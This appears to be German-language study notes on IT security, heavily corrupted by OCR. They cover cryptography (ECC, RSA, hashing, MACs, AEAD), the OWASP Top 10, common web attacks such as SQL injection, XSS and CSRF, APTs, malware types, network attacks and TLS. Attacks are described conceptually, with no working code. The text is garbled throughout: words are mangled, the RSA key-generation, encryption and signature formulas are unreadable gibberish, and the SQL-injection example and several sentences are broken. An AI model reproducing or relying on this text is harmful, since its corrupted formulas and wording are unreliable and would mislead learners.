public Key zwei Nummern sindaselliptic curve discrete logarithm problem (ECDkPgtwas
schwieriger zur I6sen als das discrete logarithm problem vom normalen Diffie Helisiarerden
viel kiirzere Keys flr die gleiche Sicherheit bendtigt.

Symmetric Diffie-Hellman and RSA Elliptic Curve
56 512 112
80 1024 160
112 2048 224
128 3072 256
192 7680 384
256 15360 512

Beiden meisten Protokollen ind fiir jede Session ein neuer DH Key Exchange gemacht (Perfect
Forward Secrecy). Wenn somit ein Kegtohlenwird, kénnen frihere oder spétere aufgezeichnete
Messages nicht geknackt werden.



6 ASYMMETRIENCRYPTION

Asymmetric Engrption: Separater Public Key zur Versaisigiung und Private Key zur
Entschlisselun{jeder kann den Public Key abrufen und somit eine Nachricht senden, die nur der
bestimmte Empfanger mit dem Private Key entschliisseln kann)

Signatur Separater Private Keyar Verschliisselung und Public Key zur Entschliissgadey kann
prufen,ob der Absender Zugriff auf den Private Key hat)

6.1 RVESISHAMIRADLEMANRSA)

Ist ein weit verbreitets System zur sicheren DatentbertragDmy.Vorteil gegentber der
symmetrischerVerschlisselung ist, dass man nicht den Shared Key kompliziert mit allen teilen muss.

Die Sicherheit von RSA besteht darin, dass es extrem schwgrusitd ) ause zu bestimmen (time
complexity) Es ist somit eine Ongay FunktionRSA ist jedoch schwach bei sehr kurzen messages,
daher wirdOptimal Assymetric Encryption padding (OABR)Standard Padding verwendet, es ist
ein Pseudo Random Padding, welches einen IV dem Prozess hinR8agst 1000x langsamer als
symmetrische Verhlusselungsverfahren und wird daher nicht fur die Verschlissaleihgt

sondern fur den Schlisselaustaugtiiher bei TLS)der Signatur verwendet.

RSA hat eine message integrity Verifikatidunerst wird die message hashed und danach der hash
signiert(mit dem private key verschlisselt). Der Empfanger hasht die message ebenfalls,
entschlusselt die Signatur mit dem public key und vergleicht die Hashes.

Im Rahmen von TLS sendet der Client dem Server eine Challenge die der Server signieren muss. So
kann de Client priifen, ob der Server wirklich der ist den er angibt zu sein, weil er Zugriff auf den
Private Key braucht.

6.1.1 Public und private Key bestimmen
1. Zwei beliebige Primzahler), undr) bestimmen
2. € n O] bestimmen
3. ¢ ¢ N p 21N p bestimmen(* ¢ =Anzahlteilerfremde Zahlervon¢ iny )
4. Eine beliebige Zalfdbestimmenp Q « &¢ QQQWr ¢ p
5. Multiplikatives Inverse®vonQbestimmen:Qt Qk pd ¢ @ ¢
6. Offentliche Schliiss&und¢ veroffentlichen
7. Der private Schliss€lbleibt geheim

6.1.2 Verschlisselundurch Absender

1. " OAEOOCRGOMEOOAALET AEARICICAOBD
6.1.3 Entschliisselundurch Empfanger

1. Ol "QQdXORNIQI"® hi Q& 0% £m®
6.1.4 Signatur durch Absender

1. Ol "QQdXORNIQI@ hi Q& 0 £m

6.1.5 Priufung der Signatur durch Empfanger
1. " OAEOQORGOMEOOAAET dERARICIOAO@O

Ergebns der Entschlisselung mithilfe der Buchstabentablle wieder in Text umwandeln



6.2 DIGITASGNATURALGORITHNDSA)

In ein paar Jahren wird RSA zu langsam werden, weil die Keys immer grésser werden missen. Daher
gibt es DSA, welches viel schneller ist. K& aber nicht zur Verschliisselung, sondern lediglich

zum Signieren verwendet werdeBs ist ahnlich wie RSA, jedoch wird die Mathematik von Diffie
Hellman (auch mit Elliptic Curves) verwendet.

Es gibt z.B. Ed448 oder Ed25519, welche verschiedene Carvesden.

6.3 HASHING

Ein Hash nimmt eine beliebige Eingabe und wandelt sie in einen Pseudo Random Bit String um, der
immer die bestimmte Lange vom Haélgorithmus hat. Es gibt keine Mdéglichkeit, aus dem Hash
wieder die originalen Daten wiederherzustellen.

Die meisten Hasfrunktionen wandern iterativ von Block zu Block, nach jedem Block ist der Hash
wieder andersDiffusion sollte vorhanden sein, also eine kleine Anderung erzeugt Anderungen uber
den ganzen Hash hinweSie sollteschnell,aber nicht zu schnedlein, da sonst BrutEorcing

schneller ist.

Ein Hash Algorithmus wird als kaputt angesehen, wenn es mdglich ist, mit anderen Inputs den
gleichen Hash zu erzeugen.

Algorithmen:

i MD5: broken

SHAL: schwach, aber nicht ganz broken

SHAZ2: gleich wie SHA abe langerer Output daher momentan sicher

SHAS3: nicht besser oder schlechter als SHAanderer Algorithmus

PassworeBased Key Derivation Function 2 (PBKDF2): 50002 Stéher 5000x langsamer

und gut geagnet flir Passworter, Anzahl Iterationen kdnnen kgufiert werden

9 Bcrypt: Alternative zPBKDFfir Passworter, basiert auf Blowfish Ciphist langsam auf
GPUs und kann somit nicht so gut parallelisiert angegriffen werde®BKDF2

= =4 =4 =4

6.3.1 Message Authentication Codes
Symmetrische Verschlisselung ist anfallig auf Tampering (Intaggrtgtzung). Mit einem Message
Authentication Cod&ann das behoben werden:

1. Der Absender hangt den Key dem Ciphertext an und hasht das Ganze

2. Der Ciphertext und der Hash werden versendet

3. DerEmpfanger hangt den Key dem Ciphertext an und hasht das Ganze

4. Nun wird verglichen _,‘ Inner Key H Document
Standard MACs haben Sicherheitsprobleme  xor 64 bytes |
aufgrund der Struktur von Hadfunktionen m- 64 bytes ! :
wie SHA256, SHAL oder SHA (Length SHA-L / SHA-256 Hash Function
Extension Attack).

) w e |

Daher gibt eKeyedHash MACHMAQ), dabei | 64 bytes
wird der Key gesplittet und mit beiden Teilen '
gehasht, somit ist man nicht mehr gegen SHA-1 /SHA-256 Hash Function

einen Length Extension Attack verwundbar.

20/32 bytes



7 OPENWEBAPPLICATIOBECURITPROJEC(OWASPJOP10

Die OWASP Top 10 sollen Awareness schaffetidiam meisten aftretenden Sicherheitsliicken in
Webapps. Es reicht jedoch nicht fur Softwareentwickler und ist nicht einfach testbar.

Das OWASRpplication Security Verification Standard (AS\F8pjekt stellt eine Basis zum Testen
von Siclerheitsmassnahmen in Web Applikations und eine SicherAgiferderungsliste zur
VerfigungEs gibt 3 Levels:

1 Level 1: 136 Kontrollen, nur die Basics, besser als Top 10, einfach automatisierbar, ergibt
keine Secure App

1 Level 2: 267 Kontrollen, Ofiégme Akivitdten wie Code Revision Control, defect Tracker
oder wiederholbares Deployment, meiste Kontrollen kdnnen \rder Integrationtested
weden

1 Level 3: 286 Kontrollen, geeignet fir extrem kritische Software, z.B. selbstfahrende Autos,
Atomkraftwerke, Finazwesen

7.1 CyBERATTACKILLCHAIN

RECONNAISSANCE

Harvesting email addresses,
conference information, etc.

WEAPONIZATION

Coupling exploit with backdoor
into deliverable payload

Delivering weaponized bundle to the
victim via email, web, USB, etc.

R
IHSTALL ) Exploiting a vulnerability to execute
code on victim’s system

=K=

INSTALLATION

Installing malware on the asset

COMMAND & CONTROL (C2)

Command channel for remote
manipulation of victim

ACTIONS ON DB.JECTIVES

With ‘Hands on Keyboard’ access,
intruders accomplish their original goals
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Improved Version

Reconnaissance

Denial of Service

7.2 SCHERBNWENDUNGEN

Exploitation

Privilege

Escalation

Lateral Movement

Schwachstelle im Monitoring, Uberwachung

Schwachstelle in der Anwendung
Schwachstellen bei eingesetzten Bibliotheken
(Libraries)

Schlecht konfigurierte Anwendung (z.B.
SSL/TLS)

Schwachstelle des Application Services (Web,
DNS, FTP, SSH)

Schwachstelle auf TCP/IP (Netzwerk Ebene)

Forensic Readiness, Fraud Detection

Sichere Programmierung, Schulung
Entwickler

Patching, Updating von Libraries, Bibliotheken

Hardening (muss man selbst machen)

Patching (Hersteller)

Firewall & Patching OS (Produkt) durch
Hersteller




7.3 WEBAPPARCHITEKTUR

7.3.1 Simpel

7.3.2 Mit WAF

Beim PCDSS Standardif Kreditkartenverabeitend&irmen ist eine WAF obligatorisch. Die WAF
filtert sowohl Requests als auch Responses. Schwai2éBrandssind SES, Airlock oder Nevisweb.
Die WAF kiimmert sich auch um TLS, HSTS, Security Headers, Private KeY LGiptotokolleund
Reverse Proxying

7.4 Torl0

AD1:2017-Injection
AD2:2017-Broken Authentication
A03:2017-Sensitive Data Exposure
A04:2017-XML External Entities (XXE)
A05:2017-Broken Access Control
A06:2017-Security Misconfiguration

2017 2021
A01:2021-Broken Access Control
A02:2021-Cryptographic Failures
A03:2021-Injection
{New) AD4:2021-Insecure Design

= A05:2021-Security Misconfiguration
A06:2021-Vulnerable and Outdated Components
A07:2017-Cross-Site Scripting (XSS) A07:2021-Identification and Authentication Failures
A08:2017-Insecure Deserialization {Mew) AD8:2021-Software and Data Integrity Failures
A09:2017-Using Components with Known Vulnerabilities /,/,—) A09:2021-Security Logging and Monitoring Failures*
A10:2017-Insufficient Logging & Monitoring (New) A10:2021-Server-Side Request Forgery (SSRF)*

* From the Survey




7.5 ATTACHYPE® COMMONATTACKS

7.5.1 SQL Injection
Eire SQL Injection ist églich bei einem Formular. Dabei gibt der Angreifer eifieit einesSQL
Query Stringein anstatt einer normalen Eingabe.

Beispiele wird im Hintergrund folgender SQL Query String gene3ietECT Username FROM Users
WHERE Usernam@= b A y 60D PassSvdldzb b Ay Lddzit F 3a62NR b Q

bdzy 3IA0dG RSNI ! YAINBATSNI AyLdzi! &SN Said dryrie Ay Lddzit
und der User wird eingeloggt ohne das Passwort.

Massnahmen:

9 Sichere Programmierung: Prepared Statememnt3ava, Parameters Collection in .NET,
Stored Procedures in SQL

1 Least Privilegedes DBUsers deApplikation

1 Request Filter auf der WAF welchekannte SQL Injection Muster aussortiert

1 KeineSQEFehlerdem User zuriickgebesonderen anonyme Fehler

7.5.2 Cross Site ScriptingS$

XSS ist mdglich, wenedWebseite UseEingaben mit JavaScript Code akzeptieriche reflected
werden Der User befindet sich somit auf der originalen, richtigen Website, jedoch wurde diese
durch Schadcode erweitert.
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Ziele kdnnen sein:

9 Session Cookie Uber die Variable «document.cookie» auf welche JavaScript Zugriff hat an
den Angreifer senden, sodass®ession Hijacking machen kann
9 Die Logindaten an den Angreifer senden



Es gibt 3 Arten von XSS:

1 Stored XS®ie Eingabe des Angreifers wird dauerhaft auf dem Webserver abgelegt und bei
jedem Aufruf ausgefunhrt.

1 ReflectedXSS: Die Eingabe des Angreifers wird der URL angehéan{ge@r&h?term=gift

1 DOMBased XSS: Der @doode wirdalsDOM-Objektin der Browserumgebung des Clients
gespeichert, beim Laden der Website wird der Code lokal ausgefihrt.

Gegenmassnahmen:

f DieApJ Ydzaa RAS 9Ay3ALo6S @2y ASFNKNI AOKSY %SAOKS
konvertieren &lt, &gt, &quot und &apos.

1 Content Security Policy (CGSeriptsrc self

X-XSSProtection Heade(BrowserFeature)

9 Cookie mit HttpOnly, Secure, SameS&#ct (JavaScript kann document.cookie nicht
auslesen)

1 WAF mit Request Filteegen gefahrliche Zeichen

=

7.5.3 Cross Site Request ForgegRF

Wenn ein User sicheim EBanking einloggt, wird ein Session Token in seinem Browser gespeichert.
Beim EBanking gibes ein Uberweisungsformular, man kann mit einem Inspection Proxy
herausfinden, was fur ein Request gesendet wird nach dem Klick auf Absenden.

Nun kann ein Hacker dem User ein Mail mit einem Link senden, der einen Request an die Bank
sendet. Der gleicherik kdnnte auch auf einer bosartigen Website des Hackers sein. Der Request
wird angenommen, weil es den Session Token verwendet, der noch im Browser gespeichstt ist.
spielt keine Rolle, ob der Request ein HTTP Get oder Put Request ist, in beiden Kaessaer
Tokenhinterlegt werden.

Eigentlich ware esicht erlaubt, dass die bdsartige Seite auf das Cookie mit dem Session Key
zugreifen kannDer Angreifer kann das umgehen, indem er auf seiner Seite die wirkliche Seite der
Bank einbindet.

= —] B

1 Login

Login

|
|
>
|
|
|

I S

Cookie = 123

.
Cookie = 123 i«

e Email: Link to Hacker Website
mail: link to http://www.shop. oller?action=buyé&.... | i

GET /hacker.html
T

Prepared Website

T
e

> Clicks on link ! o Javascript is
e
i

executed.

POST /controller
?action=
GET /controller?action=buyé&... action=buya&...

i |
Cookie=123 ! Cookie=123

|
|
>
I
J

i
Order successful :< Order successful

AlsGegenmassnahmeendet der Server dem Client eine random Nonce, der Client fligt die Nonce
dann seinem Request hinzu. Der Angreifer brauchte auch eine gtiltige Nonce, die hat er jedoch nicht,
weil der Request nicht tiber das dafiir gedachte Formular gesendelewu



7.5.4 Advanced Persistent Threg&PT)
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1. Angreifer sendet einem Clientreen Virus, z.B. UberMail (Angriff auf den Menschen)
Wenn der Mensch das File ausfiihrt, wird die Malware auf dem Client instétiiere Admin

Rechte)

Der Hacker kann ja nicht voimternet aus auf den Client zugreifen, daher sendet die
Malware in regelmassigen Abstéanden einen Poll (z.B. einen HTTPS Get Uber Port 443, der
fast immer offen ist) an den Command & Control (C&C oder C2) Server des Angreifers, der
Server antwortet dann dauf mit beispielsweise einem Script, das dann auf dem Client

ausgefuhrt wird

Im Schnitt geht es 6 Tage, bis ein Exploit fir eine Privilege Escalation Vulnerability in

Windows entwickelt, es dauert aber im Schnitt 54 Tage, bis der Patch installiert ist, der
Hacker hat also oft genug Zeit, um die bekannte Vulnerability auszunutzen und-Admin

Rechte auf dem Client zu erlangen

nach das ganze Active Directory tibernehmen
Gegenmassranen:

1 Auslieferung

0 EMail-Content Filter

0 Awareness Kampagnen

0 USRPortsblockierenwenn mdaglich
1 Ausflhrung

0 Anti-Virus Check

0 Verhaltensgesteuerte Ansatze

0 Microsoft: Sentinel & Defender
1 Netzwerk Monitoring

0 Blockieren von bekannten CRd

Mit den AdminRechten kann der Angreifer dann Lateral Movement machen und nach und



0 Proxy mifTLS Splittingnd Content Inspection

obuse cl
Poman H‘l‘l&%
Dieses Setup haben die meisten Leute
u% g[‘i;';;.s:;;r auch die OST selbst ist so &
Howe [ Licke C2 Senva

' Bei Unternehmen surfen die User (iber
/F\ VM u S einen Firmenproxy, der Content

Inspection macht (mit TLS Splitting)

7.6 SCHUTZMECHANISMEN

7.6.1 Endpoint detection and response (EDR)

Als erstes kamen AntivirtBogramme, welche die Clients vor der Ausfihrung von bekannter
Malware schitzenMittlerweile gibt es EchtzeMonitoring und Datensamlung mit regelbasierter
automatischer Response und Analyse.

7.6.2 Security Information & Event Managem¢BtEM)

Bei einem SIEM werdeti@Logdaten von Antivirus, Firewall, Proxy, DNS, Sekpetikationenusw.
zentral an einem Ort gesammelder zentrale Qrkann z.B. eine Splunk oder Elastic/Kibana
Datenbank sein. Ein Op&ource SIEM, das auf Elastic aufbaut ist Waklldh Daten werden in
Echtzeit analysiert, es wird nach Indicators of a Cyberati&R) gesucht und automatisch
alarmiert.

@ Wazuh agent & Wazuh server
An i ini Threat Intelligence
Agent modules Agent daemon alysis engine
Agents connection service
Decoding and rule matching
: ‘Agents registration service Correlation and enrichment
[ Modues management ‘ Reguiatory compAance
. Raw data events
Configuration assessment | Remote configuration RESTHul AP service
Fllebeat
Security alerts
Cloud security o .
== &> Elastic Stack
File integrity monitoring [ L
control Query language Data analytics ‘
[ it —
Visualizations and dashboards Long term storage ‘ Agaeits monhorng
System inventory . .
ST K Eastcssarch



7.6.3 Security Orchestration & Automated Respof&BAR)
Die n&hste Generation von SIEM ist SOBRsammelt ebenfalls alle Logs und analysiert sie,
zusatzlich kann es aber automatische Interventionen stauntash beider Investigation helfen.

Bei Velociraptor sucht eineidgital Forensic Incident Response (DFIR) Technik in deD8&&n nach
Mustem. Es kann nach C2 Daten im Prozssnory, URELDatenim ProzessMemory, Binare Files
nach Malware und Muster in der Regjissuchen.

Velociraptor unterstitzt auch SuchentnifARA. YARA kann gemass vielen Rules gleichzeitig nach
bindren Patterns in Files oder Memory suchen.

+ Coroly

a

7.7 UNTERSTUTZUNG
Computer Emergency Response Team (EHRAdemarked und unprazise

ComputerEmergency Security Incident Response Team (C®BZiser und nicht trademarked



8 ETrHICAHACKINGPENTESTING

8.1 PENETRATIORESTING

ocelbest &0

8.2 HACKING VETHICAHACKING
Beim Hacking nutzt manulherabilitiesaus, um unautorisierten Zugriff zu erhalten. Man umgeht
Sicherheitsmassnahmen, um Dinge zu tun, die der Betreiber davon nicht mochte.

Beim ethischen Hacking verwendet man Tools und Techniken, um Vulnerabilities zu finden und dem
Betreiber zu melden.

Hats:

Black Hat: Bosartiger destruktiver Hacker der anonym bleibt

Grey Hat: verfugt Gber Black Hat Skills, arbeitet aber offensiv und defensiv
White Hat: verfiigt Giber Black Hat Skills, arbeitet aber nur defensiv

ScriptKiddie: Leute die Tools verwenden, ohne zu wissen was sie tun

Cyber Terrorist: Kompetenter Hacker, der eine Ideologie verfolgt

State Sponsored: Von der RegieramgestellteHacker fur Offensive und Defensive
9 Hacktivist: betreibt sozialen und politisch@ktivismus durch Hacking

=A =4 =4 =4 -8 =4

Als ethischer Hacker kann man Geld verdienen durch das Melden von Vulnerabilities, beispielsweise
auf Hacker One, Bug Crowd oder Bug Bounty.

8.3 PENETRATIORESTING

Beim Pentesting engagiert ein Unternehmen einen Hacker, um ihrerSgstef Vulnerabilities zu
Uberprifen. Dabei wird zuerst ein Statement of Work (SoW) unterzeichnet, welches besagt, was fur
Aktivitdten durchgefiihrt werden sollen, wie lange, der Scope und der Ort. Das SoW kann ein
alleiniges Dokument oder Teil eines Mas&arvice Agreements (MSA) sein.

Ausserdem wird ein Non Disclosure Agreement (NDA) abgeschlossen, damit der Hacker allféllige
gefundene Licken nicht 6ffentlich machen darf.

Beim Vulnerability Scanning hingegen wird automatisch regelméassig gescanngfedesterste
Schritt bei einem Pentest.



Verschiedene Methoden:

PEN TESTING LIFECYCLE

Pre-engagement
interactions and
scoping

PRE-
ENGAGEMENT

Vulnerability
Analysis

DURING

AFTER

-—n

i—Addition‘al D'iscovery—l

Planning ‘ Discovery - Attack

Reporting

ulnerability

Foot-printing . Scanning . Enumeration . VAnaIysis

Gaining Access: Maintaining Access:

- Clearing Logs and
Cracking Passwords, Executing Applications, Covering Tracks
Elevating Privileges, etc. Hiding Files, etc.

—_—

Es gibt verschiedene Vorgehen:

1 BlackBox: Pentester kennt ietnen Aufbau nicht, die Inputs und Outputs werden analysiert

1 GrayBox:Pentesterkennt die Struktur teilweise und kann das Wissen nutzen

1 White-Box: Pentester schaut debode und die Struktur des Systems an und nutzt das
Wissen flr die Tests, setzt tiefgehendes Wissen Uber die Technologie, die zur Entwicklung
benutztwurde,voraus



8.4 ARTE VONMALWARE

8.4.1 ZeroDay Angriff

ZeraDay Vulnerabilities wurden von Hackern entdeckt und werden von ihnen ausgenutzt, jedoch
gibt es noch keine Patches. Das Zeitfenster zwischen dem Finden void&eExploit und dem
Patching/Antivirus Update wird windowf gulnerability genannt. Viele Systeme sind lange
verwundbar, weil das Patching durch Sysadmins oft lange dauert.

8.4.2 Script Kiddie Angriff

Jeder mit minimalem technischem Verstamikann fertig Viren herunterladen und im Internet
verteilen. Die Kiddies waten meist in Landern mit schwacher Polizei und méchten Geld und
Identitaten stehlen.

8.4.3 DriveBy Download

Bei einem DriveBy Download muss nichts angekliwerden, es kann beilBrowsen mit einem
veralteten Browser, bei einer App oder dem OS passieren. Digdviawird unwissentlich einfach
heruntergeladen, ohne dass man einen Fehler gemacht hat.

8.4.4 \Virus

Ein Virus richtet Schaden an und kann sich selbst verbreadebraucht jedoch einen menschlichen
Fehler auf jedentdost,um ihn zu infizieren200'000 neue MaVvare Varianten ersheinen im Internet
taglich. Die Verbreitungstechnologien werden zunehmend intelligenter, um die immer besser
werdenden Antivirus Technologien zu umgehen. Der Schaden kann alle BuchstabenTiesdSIA
treffen. Friher war vor allem Windgs betroffen, heute ist kein OS mehr sicher.

Es gibt verschiedenéirusVerbreitungstechnologien

1 Master Boot Record (MBR) Infectioauf jedem bootbaren MediurtDisk,USBDrive) ist ein
kleiner Teil (meist 512 Bytes) fur den MBR reserviert. Darin &m¥irus installiert werden,
der den Rest des Virus z.B. in den Memory ladt.

1 File Infection Viren werden oftn ausfihrbaren Files (.com, .exe oder .bat auf Windows)
gespeichert. Um nicht sofort aufzufallen, heissen sie &hnlich wie noi@faléles jedach
wird es meist schnell durch AV Programme entdeckt.

1 Macro Infection Macros sind Scripts in e#nMacro Language, welche in Word und Excel
verwendet werden. Sie werden automatisch ausgefiihrt wenn die Dokumente gedffnet
werden und installieren dann derirvs. Anderungen bei den Berechtigungen der Macros
haben aber diese Angriffe stark reduziert.

9 Service InfectionDer Virus wird in normale Prozesse des OS injiziert wie svchost.exe,
winlogin.exe oder explorer.exe. Es féllt nicht auf, da die Prozesse drusteden.

Dann gibt es noch verschiedene Arten von Viren:

1 Multipartite Virus: hat mehrere Verbreitungstechniken, falls eine nicht funktioniert nimmt
er eine andere, z.B. probiert er zuerst File Infection und dann MBR Infection

9 Stealth Virus verstecken sit und geben dem Antivirus saubere Angaben, z.B. wird der MBR
Uberschrieben, wenn der Antivirus jedoch den MBR prift, sendet ihm der Virus eine saubere
Kopie

1 Polymorphic Virusder VirusCode &ndert sich von Host zu Host, somit ist die Signatur
anders, er mcht aber immer noch das Gleiche, das ist schwerer zu finden, die Formeln



dieser Viren wurden aber oft geknackt, es dauert aber auf jeden Fall langer-hipdsites
dafiir erscheinen

1 Encrypted Virusdabei ist irgendwo ein kleiner Code, der den Virus enisseln kann, der
eigentliche Virus ist aber verschlisselt irgendwo anders auf dem System, zusatzlich andert
sich der Key von System zu System, somit ist hat der Virus ieineekomplett andere
Signatur

8.4.5 Logic Bombs
Diese Malware macht nichts, bis sie triggered wird, beispielsweise von einer Zeit, einem
Programmestart oder Website Login.

8.4.6 Trojan Horses
Das ist eine Software, die nitzlich und sauber aussieht, im Hintergrund aber noch etwas anderes
bosartiges macht.

8.4.7 Keystroke logging

Ein Keylogger zeichnet alle getippten Buchstaben auf einer Tastatur auf, ohne dass die Person es
merkt. Das kann entweder eine Software sein oder Hardwd&BDonglemit PC auf der einen und
Tastatur auf der anderen Seite).

8.4.8 Ransomware

Ransonware verschlisselt alle Files auf einem infizierten System mit einem Key, den nur der
Angreifer weiss. Gegen eine Gebuhr werden die Daten moglicherweise wieder entschlisselt. Um
zusatzlichen Druck auszuiiben, werden noch Daten geklaut und veréffentlitm, micht bezahlt

wird.

8.4.9 Worms
Worms verbreiten sich selbstandigfeandere Hosts, ohne menschlicghZutun. Beispielsweise
scannen sie das Netzwerk nach verwundbarer Software und greifen diese dann an.

8.4.10 Spyware
Alle Aktivitaten auf dem infizierten Gerét wekan aufgezeichnet und an den Angreifer gesendet.

8.4.11 Adware

Werbebanner werden auf dem infizierten System angezeigt, beispielsweise beim Surfen.
Fortgeschrittene Adware kénnte auch das Einkaufsverhalten analysieren auf Konkurrenzseiten
weiterleiten. Sie benuten oft BrowsetPlugins.

8.5 ANTIVIRUS
Die Aufgaben eines AV sind Malware zu verhindern, entdecken und entfernen.

1. Es wird probiert den Virus aus den infizierten Files zu entfernen und den Host in einen
sicheren Zustand zu bringen

2. Wenn das nicht gehtyerden die Files in Quarantdne gesteckt, oft werden sie dann in einer
isolierten Sandbox ausgefiihrt und monitort

3. Wenn das auch nicht geht, werden die Files einfach geléscht

8.5.1 Detection
9 Signaturebased: Der AV hat eine riesige Datenbank mit @aarakteristiken von bekannter
Malware, die DB muss so oft wie mdglich aktualisiert werden



1 Heuristicbased: das Verhalten von Software wird analysiert und nach Zeichen bosartiger
Aktivitat gesucht wie Privilege Escalation, wenn eine Software verdacheid, agird es
sofort auf eine Blacklist fir alle Hosts der Organisation gesetzt

1 Data Integrity: Es wird eine DB mit Hashes aller Files des Hosts essteditPatching von OS
oder Software sollten sich die Hashes nicht &ndern, wenn schon ist das einndgickae
Infektion, das geht z.B. mit Tripwire

8.6 APPLICATIOATTACKS

8.6.1 Buffer Overflows

Das kann vorkommen, weniing Applikation den User Input nicht auf eine sinnvolle Lange limitiert.
Dann schreibt die Applikation mehr in den Memory, als Platz vorgesshe3omit konnen
maglicherweise Commands ausgefiihrt werden.

8.6.2 Time of Check to Time of Use

TOCTTOU oder TOC/TOU ist ein Timing Vulnerability, bei der das PragjeaBenechtigungen zu
frih vor der Ressourcenanfrage prift. Beispielsweise hat der AdmirBeireehtigung entzogen, es
gilt aber erst nach dem nachsten Login. Wenn der User nun die Session nie beendet, hat er die
Berechtigung immer noch.

8.6.3 Backdoor

Backdoors sind undokumentierte Wege zum Zugriff auf Systeme, welche die normalen
Zugriffsbeschrankungeumgehen. Sie kénnen durch Malwdrestallation erstellt werden oder aus
Versehen durch Softwareentwickler, welche beispielsweise ohne Authentication auf Debugging Logs
zugreifen méchten.

8.6.4 Escalation of Privilege / Rootkits

Eine Escalation of Privilege &t Angriff, bei dem ein Angreifer seine Berechtigung von einem
normalen User zu einem User mit mehr Privilegien erhoht. Ein Weg dafir ist ein Rootkit, welches
Vulnerabilities.im OS ausnutzt, um Root/Administrator zu werden.

8.7 NETWOREECURITY
Esmacht Sinn, Netzwerkgeratenaugreifen, aus folgenden Griinden:

Werden oft nicht so gut monitored wie Hosts

Haben einen langen Lifecycle

Kein Antivirus

Funktionieren mit Protokollen aus den 80ern

Features wie Port Mirroring kdnnen ausgenutzt werden
1 ProtocolAuthentication unterstitzt nur MD5
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8.7.1 Denial of Service (DoS)
Dabei werden so viele Ressourcen benutzt, dass normale Anfragen nicht mehr méglich sind. Man
kann Server oder Netzwerkgerate Uberlasten und es gibt immer genau einen Angreifer und ein Ziel.



System overload Link overload
Es gibt verschiedene Methoden fiir DoS:

1 SYN Floodinges werden viele TCP SYN Anfragen an den Server gesendet, immer mit einer
anderen gespooften HAdresse. Der Server Antwort mit SYN/ACK, somit ist die Session
halboffen und wird nicht beendet. Irgendwatat der Server keine Kapazitat mehr fiir noch
mehr TCFSessions.

1 Service Request FloodEs werden HTTP Get Requests gesendet, bis der Serveneluh
mithalten kann mit antworten.

91 Application Level Es wird eine Vulnerability in Harader Software asgenutzt, ein
bestimmtes Paket wird gesendet, welches das System zum Crashen, Hangen, Freezen oder
Uberlasten bringt

1 Permanent DoSMit Phlashing wird Hardware permanent zerstort Gber das Netzwerk, z.B.
indem man ein bodsartiges Firmware Update installiert.

8.7.2 Distributed Denial of Service (DDoS)

Ein Botnet ist einedlgische Collection von Geraten mit Internetverbindung. Jedes Gerat hat eine
Malware installiert, die Aktionen ausfiihren kann, welche vom C&C Server des Angreifers
vorgegeben werden. Das Botnann sich selbstandig vergrossern und wird oft vermietet fir DDoS
Attacken.

Bei einem DDoS Angriff flhrt jeder Bot/Zombie des Botnets einen DoS Angriff auf ein vorgegebenes
Ziel aus. Der Angegriffene kann zwar die einzelnen Zombies ausfindig macheh,fjadet er den
wahren Angreifer dahinter nicht heraus.

ey

Patient zero

i



8.7.3 Marin-the middle
Bei einem Marin-the-middle Angriff schaltet sich der Angreifer zwischen Client und Server und lasst
den ganzen Traffic durch seinen Host fliessen und kann ihn so kontrollieren.

j l '
8.7.4 Man-in-the browser

Dabei ist ein Trojaneregarnt als Browser Plugin im Browser installiert. Es kann z.B. Logins abgreifen
durch POSTnterception, XSS und XSRF ausfuhren oder Session hijacken.

' Client Server

8.7.5 Eavesdropping
Dabei wird Traffic abgehoért mit einem Sniffer sensible Daten abzugreifen oder zu duplizieren fur
andere Angriffe.

8.7.6 Impersonation/Masquerading
Dabei wird vorgegaukelt, jemand anders zu sein, um unautorisierten Zugriff auf ein System zu
erhalten, meist geschieht das durch gestohlene Credentials.

8.7.7 Spoofing
Dabei wird ebenfalls vorgegaukelt, jemand anders zu sein, jedoch ohne einen Beweis dafiir zu
haben. Es kann z.B. eine falsche MAC -NPaiE Hostname, Domainname, usw. sein.

8.7.8 Replay Attack
Dabei mdchte eine authentifizierte Session erneut hergestellt erercthdem man aufgezeichneten
Traffic nochmals dem System sendet. Somit ist Eavesdropping eine Voraussetzung.

8.7.9 Madification Attack
Das ist &hnlich wie der Replay Attack, jedoch wird der Traffic vorher noch abgeéndert, um etwas
ausgereiftereAuthentication Systeme auszutricksen.

8.7.10 Session Hijacking

Session IDs werden verwendet, um eine stat¥febindung zwischen Client und Server aufzubauen.
Sie werden meist nach dem Login generiert. Wenn sie einem Angreifer in die Hande fallen, hat er
Zugriff auf die Session.

Beim Session Hijacking zeichnet der Angreifer Session Keys auf und probiert @nzddstden,
um dann im Brute Force verfahren Sessions zu hijacken.

Das Hijacking gelingt durch Session Fixation (Attacker probiert den Client in eine von ihm erstellte
Session zu locken), XSS, CSRF oder TCP/IP Hijacking (Angreifer antwortet sdahméfiétalye
Handshake sodass die TCP Session mit ihm aufgebaut wird).



9 COMPLETERYPTOGRAPIBCSTEMS

9.1 AUTHENTICATENCRYPTION
Es gibt 3 Arten vonuthenticated Encryption:

1 Encryptthen-MAC(SSL)

Plaintext

P ——

Encryption

i
i
1
i
'
i
y

1 EncryptandMAC(IPsec)

Plaintext

X

Encryption

1 MAGthen-encrypt(SSH)

Plaintext

Hash I

9.2 AUTHENTICATENCRYPTION WIASSOCIATHRATA(AEAD)

Das ist eine andereaviante von Authenticated EncryptioBamit kann der Empfanger die Integritat
von sowohl den verschliisselten als auch den unverschlisselten Daten tberprifen. Die zusatzlichen
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Hash Ciphertext | MAC
I
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1
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Plaintext MAC Ciphertext

I_I—l

associted Daten werden zusammen mit dem Ciphertext gehasht.

Additional Data

Message

i
=

Encrypted

w

Authenticated

L'




Beispiel einer AEAD ist der AES Galois Counter Mode (GCM). Das Standardverfahren von AES fir die
Verschliusselung der Blocks ist CTR. GCM berechnet dann einen Galois Message Authentication Code
(GMAC)iber den Ciphertext und die associated Daten.

Ein anderes Beispiel ist Chacha20_Poly1305. Chacha20 ist eine Stream Cipher, welche auf CPUs ohne
AES schnneller lauft. Poly1305 erstellt den MBi€se Cipher ist neben AES in TLS 1.3 erlaubt.

10 TRANSPOHRYERSECURIT(TLS)

TLS macht Verschlisselung auf Layer 4 und stellt somit Confidentiality und Integrity sicher. Optional
auch AuthenticationTLS ist der Nachfolger von SSL, der Begriff SSL wird aber immer noch oft
verwendet. Sdmtliche HTTPS Kommunikatiasidrt auf TLS, es kann aber fir jedes beliebige
Protokoll eingesetzt werden.

10.1 VERSIONEN

Version | Status Bemerkungen
SSL 1.0 | Broken Unpublished
SSL 2.0 | Broken
SSL 3.0 | Broken
